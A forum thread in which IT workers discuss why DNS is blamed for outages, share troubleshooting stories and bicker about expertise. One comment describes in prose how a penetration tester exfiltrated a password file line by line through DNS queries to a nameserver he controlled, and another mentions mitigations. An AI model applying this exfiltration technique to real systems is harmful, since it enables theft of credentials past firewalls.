I should clarify I wasn’t a upper level sys admin managing those servers, I just used them or maintained accounts being a rank and file technician
While I get the fundamental concept of DNS as a phonebook for your IPs. I am not sure why it is joked around if something goes haywire or someone breaks something.
Is it because if you get no DNS, people can’t log in through their AD accounts, browse the Internet?
Afaik DNS is a bit of a rabbit hole topic, maybe that’s why people joke about it due to DNS being this “No one really knows how this magic name matching box works”?
Please correct me, I’d genuinely like to know why this is prevalent from you guys.
There’s even a haiku:
It’s not DNS
There’s no way it’s DNS
It was DNS(And if it’s not DNS it’s NTP oh yeeh) (But that kills the Haiku)
Or bgp
But bgp is just sparkling dns
I got a story that perfectly illustrates the meme.
Had done a solid job of setting up my first domain, from scratch. Everything was tooling along nicely for months until my administrator account kept locking itself, every few minutes.
Logged in with another admin account and hunted for the issue for a month. Since it was affecting only my account, none of the users had issues. Finally found a single sentence in an obscure forum that pointed me. My DNS issue was buried deep in the DHCP settings.
Despite knowing better, I had used my personal account to authorize interactions between the DNS and DHCP services. When I changed my password, DNS was still trying to use the old credentials, over and over again, locking my account.
HOLY SHIT! If you google “dns haiku” my image is in the front page twice! Love it!
This is hanging on our wall at work lol
When it is the cause of a problem it’s not always obvious at first so you spend hours troubleshooting the broken app until you look at DNS and a simple DNS issue
I’ve had a problem like this yesterday. I couldn’t access my paperless instance. I eventually figured out I could access it with an IP + port combination and the DNS lookup failed.
Often because we know how badly things can go wrong with so many components we start at the end of the app instead of the beginning.
Similar to how tech support always asks of you rebooted. We often don’t confirm basic connectivity issues.
DNS failure can manifest in strange ways and have a sysadmin scratching their head as to why some devices are working fine (statically configured/running from DNS cache), but others cannot access the internet or any of their work services.
It’s usually the last thing you suspect, because DNS always just works, right?
I never would have thought of it but I recently saw a novel use of DNS to exfiltrate data from a compromised server.
My employer takes security very seriously. Our public facing web servers are very thoroughly locked down, or so we thought. We contract with companies like HackerOne to perform penetration testing etc. One of their white hat hackers managed a remote command attack, and copied data off of the server via a string of DNS queries.
Suppose the hacker owned the domain example.com, and he had his own authoritative nameserver for it. He just ran a series of commands that took, for example, a password file, and ran DNS queries for line1.example.com, line2.example.com, line3.example.com and so on for each line in the file. As a result the log file on his DNS server collected each line of the password file as it responded to each query.
I’m trying to digest this
You’re saying he was stealing data from the target server by appending it line-by-line to dns requests sent to his nameserver? Wouldn’t he have needed to both be on the target server and already have access to the data?
Our web servers are locked down in such a way that you can’t copy data off of them using standard protocols like scp, ftp, and even http, etc. Our firewall blocks all such outbound traffic.
This hacker found a bug in a framework used on our web servers that let him execute commands remotely. When commands to copy data off the server failed using those more typical methods he switched to a more novel (and difficult) method of leveraging DNS instead. He discovered we weren’t locking DNS down the same way we were locking other protocols down and used that as a way to extract data from our server.
Ah, ok, that makes sense! So there was a separate bug in the framework that granted him limited remote access, but because the server had tight control over outbound connections he had to use a novel way of getting the data back out
Basically: He crawled in through the sewer and then robbed the bank one stack of bills at a time via pigeon courier.
Sorry this doesn’t explain anything, cause I think others have already put in the work. At my old job, there was a slack icon for “Is it DNS?” because it’s often DNS. You already know and that’s why you asked, but I’m just reinforcing that this is how common it is.
Because so few understand it and so many things use it.
If you read a guide on setting up a website. They might have you change a DNS record and you might not realize it’s doing something else. Web developers frequently want to make changes to DNS and will change the name servers away to theirs but not migrate any of the records for anything besides the website. They’ll break EVERYTHING but hey, the website will load.
If you read a guide on connecting some service like hubspot. They will have you add spf records. But those need to be included with the existing ones and not just replacing what’s already there. Mess it up and every single email you send will get sent to spam folders.
Only a support tech chiming in, so far I’ve found when it goes wrong, it causes errors or behaviours that are unusual and could be hard to trace back. Clients might be confused as to why their laptop isn’t connecting to some services but their co-worker still can.
I’ve currently got an infuriating issue where the DNS on my modem just dies at seemingly random intervals. I set up a monitor using Uptime Kuma to let me know when it goes down, and ever since it just hasn’t been a problem yet so I have no idea why it’s going down. I might just set up a pihole and just work around the problem.
DNS is often misconfigured.
On the linux side of things, people like to manually edit /etc/resolv.conf when it’s actually a symlink and changes to it don’t persist on boot (the real file location varies, but it’s usually in something like /etc/system/resolve). And forget bind9, if it’s not MS DNS it’s not DNS to some folks.
On the Windows side, people love to ignore that reverse DNS exists, even though so many things use it. They also freaking love CNAME aliases and break stuff in interesting ways (for example, a “load balanced” configuration that’s all just the first node acting as all three nodes of a cluster or pool).
Many people only know enough DNS to be dangerous and come up with really jank workarounds to get things running because they don’t understand the proper solutions.
In addition to the other comments which more directly address your question, DNS has been / can be used to exfiltrate data from “secure” networks. Search “dns data exfiltration” in your favourite search engine and you’ll get several high quality articles. Typical mitigations might be to limit which DNS servers your network can contact, restrict packet sizes to the bare minimum which valid use would have and so forth.
I’ve been an IT professional for about thirty years and I’ve literally never heard a single person anywhere ever find DNS funny or joke about it. It would be like joking about bicycle tires or salt. It’s such a mundane thing that has nothing interesting or funny in it.
it’s akin to lupus in House MD. relax a little guy.
Yeah I never found that amusing. But, humor is subjective. I was merely stating my personal perspective. In no way is my opinion to be taken as some authoritative proclamation.
What do you think about https://github.com/morriscox/Rules-of-Tech-Support
maybe that’s why people joke about it due to DNS being this “No one really knows how this magic name matching box works”?
You know people who work in IT who actually say things like that? Wow do I feel sorry for their clueless bosses who are employing complete failures. You really want your doctor to know how X-rays work and you want your IT team to understand one of the most fundamental elements of network technology.
Jesus. In my day you had to be an expert and know your shit. I guess nowadays it’s just free for all?
Weird. You have two top level comments, and two replies in this thread where you’re offended that someone might find humor in an aspect of their job. Are you ok, dude? Is DNS your girlfriend? Should we stop talking about her? Youve been in IT for 30 years - maybe its time to retire.
Yeah please don’t worry yourself, I think you’re paying me a little too much attention.
Your quote to me sounds like someone who’s making a joke out a subject they don’t want to have to explain to a lay person.
Interesting you went to branding them complete failures over it though. Right before comparing IT workers to fucking doctors lmao.
Jesus. In my day you had to be an expert and know your shit. I guess nowadays it’s just free for all?
Truth is society as a whole started coasting about a decade after you joined the work force. We figured, fuck it Andy’ll take care of it.
lol yeah I think you actually understand me pretty well. I have something called standards and when I started working, you had to actually work and work damn well, to keep your job. And I’m not talking about any job but certainly being in charge of maintaining and supporting information technology. And yes, I can say someone who works in IT who doesn’t know what DNS is, is a failure. Sorry if it hurts their feelings but maybe they’re not yet familiar with a concept called qualifications, credentials, experience, expertise, knowledge, skills… you know, silly old fashioned stuff like that.
I also am pretty aware lately that most of the time online I seem to be talking to younger and younger people. So there’s a sort of inequity there because I’m coming from the experience and point of view of a middle aged man and I’m talking to children - of course they won’t be able to relate.
But it’s the way of the internet. Believe me I’d love to interact more with only my intellectual peers but there are not nearly as many of us as there are kids who are just starting out. Shrug. What can you do. I still like to carry on conversation with exchange of ideas.
P.S. I don’t have a problem explaining things to a lay person; on the contrary I love to see a lay person interested and curious about something. That’s how I am about most things. But I don’t think lay person is an appropriate label for someone who is supposed to be an expert or at least works in the field and therefore should at least have a rudimentary understanding. That’s the whole point of qualifications for a position. You don’t tend to get hired when you’re clueless. Although I see that nowadays a little more and more and it is actually frightening.
You picked up the bitchiness of my post but not the entire subtext. My point is when using the same quote we’re able came to quite different conclusions. One assuming the IT guy did know but merely likened it to “magic” in order to not explain it to a lay person, for whatever reason. Another assuming they don’t know a key concept and are therefore a complete failure.
And yes, I can say someone who works in IT who doesn’t know what DNS is, is a failure.
Like even a trainee? A student? A failure in what way. It just feels like a weird put down. Presumably everyone has to learn it at some point as they begin their IT career. So the idea that they’re a failure until then and that DNS is the bar, is a peculiar world lens in my view.
Sorry if it hurts their feelings but maybe they’re not yet familiar with a concept called qualifications, credentials, experience, expertise, knowledge, skills… you know, silly old fashioned stuff like that.
Feelings aren’t really the point, the unnecessary extremes like labelling people “complete failures” is closer to it. You can give objective and concise criticism, which is more than capable of “hurting feelings” by the way, and not seem to be intentionally abrasive in doing so. Like the second quote you can surely see especially after the ellipsis, it’s condescending right? Unless you believe we live in an age of zero qualifications, credentials or knowledge. If so, you understand that apologising for hurting feelings prior is clearly performative and how that is perceived.
Also, I’m disappointed to inform you but all of that “old fashion” stuff is very much still the case. Hell weren’t there articles on lemmy about older generations agreeing that younger generation face an absolutely ridiculous job market? The “must have 5 years experience in a 2 year old language” memes? I don’t think it’s an age issue, generational maybe. I’m not middle age but I’m definitely not that young either. It unfortunate how often inter-generational shit flinging occurs.
No yeah I actually agree with what you’re saying. And no of course I don’t mean a trainee or student. I think I may not have been thinking of the same scenario as you. OP was very difficult to follow I don’t know if it was translated or something. I’m thrilled to hear that training on the job is finally happening.
And yes I’m all too familiar with the concept I remember there was a job posting that required several years experience in a technology that was brand new. A few of my colleagues and I would spam them with applications and phone calls informing them of just how stupid they were being with that requirement. Someone didn’t have a clue what they were asking for. Hiring managers amirite.
I really don’t disagree with you at all.
I thought it might have been how the original post was structured.
my colleagues and I would spam them with applications and phone calls informing them of just how stupid they were being with that requirement.
Now that is a feel good story everyone can enjoy lmao, too right.
I don’t know much about much, I’ll admit that, but what I have experienced with DNS is that it keeps shitting the bed when I’m trying to connect to my bfs server in the USA while I live in Brazil. Some spectrum node in Miami or something keeps sending my ping to the moon and my packages go from 0% dropped to 100% when I use a program to trace the path (sadly can’t recall the name RN, hopefully when someone replies I’ll be by my PC again and check it)
I just wish I could tell my DNS “hey, don’t use that node specifically” because every other step is going just fine, but as I said before, I don’t know much at all so I don’t know if that’s possible or even if it’s a good idea
If you use a VPN there is a chance your connection will route differently.
I could try, but the only game this is causing issues is minecraft, and the server is mostly dead by now, so I don’t want to spend the money for just trying to see if it would help, but I’ll def look into it for the next time we play minecraft again
Dont forget about resolve.d. Did they ever fix a static DNA entry with DHCP allocated ip? I submitted the bug like 5 years ago
